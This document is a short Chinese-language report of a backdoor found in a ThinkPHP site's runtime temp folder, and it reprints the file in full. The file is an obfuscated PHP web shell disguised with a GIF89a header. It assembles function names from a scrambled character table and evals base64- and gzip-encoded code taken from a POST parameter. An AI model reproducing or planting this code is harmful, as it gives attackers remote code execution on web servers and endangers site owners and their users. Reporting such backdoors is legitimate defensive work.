后门文件路径如下：

/runtime/temp/2f00f85541fd95132023fff589b665e8.php

文件内容：

<?php if (!defined('THINK_PATH')) exit(); /*a:0:{}*/ ?>

GIF89a

    <?=error_reporting(0);

    function w7sISBMy($FvVserC6,$YjypDvh2,$bPe_zkap)

    {

    return"".$FvVserC6."".$YjypDvh2."".$bPe_zkap."";

    }

    LrUKfEW5:$uy39Xr7H="k_\05143pv\x69soqhmwyde(\060cj\x72l\x3b27/b.5\1471aft6*n8x9uz";

    eWA4N9jr:$yPfgNXyD=W7sisbmY($uy39Xr7H[020],$uy39Xr7H[06],$uy39Xr7H[040]);

    Dwc0sK25:$SYnnYEKb=w7SIsbMy($uy39Xr7H[026],$uy39Xr7H[021],$uy39Xr7H[033]);

    $NKmIWJpI=W7sisBMY($uy39Xr7H[040],$uy39Xr7H[010],$uy39Xr7H[020]);

    $WmlVvGO9=w7siSbMY($uy39Xr7H[043],$uy39Xr7H[003],$uy39Xr7H[001]);

    $ujZ_h2_k=w7Sisbmy($uy39Xr7H[017],$uy39Xr7H[020],$uy39Xr7H[023]);

    $l9yoW1N4=w7sisbMy($uy39Xr7H[011],$uy39Xr7H[017],$uy39Xr7H[020]);

    $oGW2Zq5W=w7sisbmY($uy39Xr7H[021],"","");

    goto wul_FNGS;

    wul_FNGS:$G2JiYh3b=W7sIsbMy(W7sIsbMy($yPfgNXyD,$SYnnYEKb,$NKmIWJpI),w7SiSBmY($WmlVvGO9,$ujZ_h2_k,$l9yoW1N4),w7SiSBmY($oGW2Zq5W,"",""))."'QGV2YWwoQGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsnb3BlbnNzbF9kZWNyeXB0J10pKSk7'".w7sISBmy($uy39Xr7H[02],$uy39Xr7H[02]."",$uy39Xr7H[027]);

    print_r($Y7Ck18ND);

    $vCU8Er3X=W7SiSbMy($uy39Xr7H[026],$uy39Xr7H[01],$uy39Xr7H[051]);

    $VAZYKfLA=w7sISBMy($uy39Xr7H[023],$uy39Xr7H[040],$uy39Xr7H[026]);

    $Zg4Yzwv1=W7SIsbMy($uy39Xr7H[010],$uy39Xr7H[020],$uy39Xr7H[025].$uy39Xr7H[01]);

    $ssv3Nfy2=w7sISBmy($uy39Xr7H[041].$uy39Xr7H[051],$uy39Xr7H[045],$uy39Xr7H[023]);

    $uclIwFbR=W7SIsbMy($uy39Xr7H[01],$uy39Xr7H[040],$uy39Xr7H[025]);

    $cOIW6Vpb=w7sIsbmY($uy39Xr7H[025],$uy39Xr7H[040],$uy39Xr7H[016]);

    $Y7Ck18ND=w7SISbMy(W7sISbMy($VAZYKfLA,$vCU8Er3X,$Zg4Yzwv1),$ssv3Nfy2,W7siSbmy($uclIwFbR,$cOIW6Vpb,$Y7Ck18ND));

    goto w7mTJhBE;w7mTJhBE:$Y7Ck18ND(create_function,array("","}".$G2JiYh3b."//"));die();?>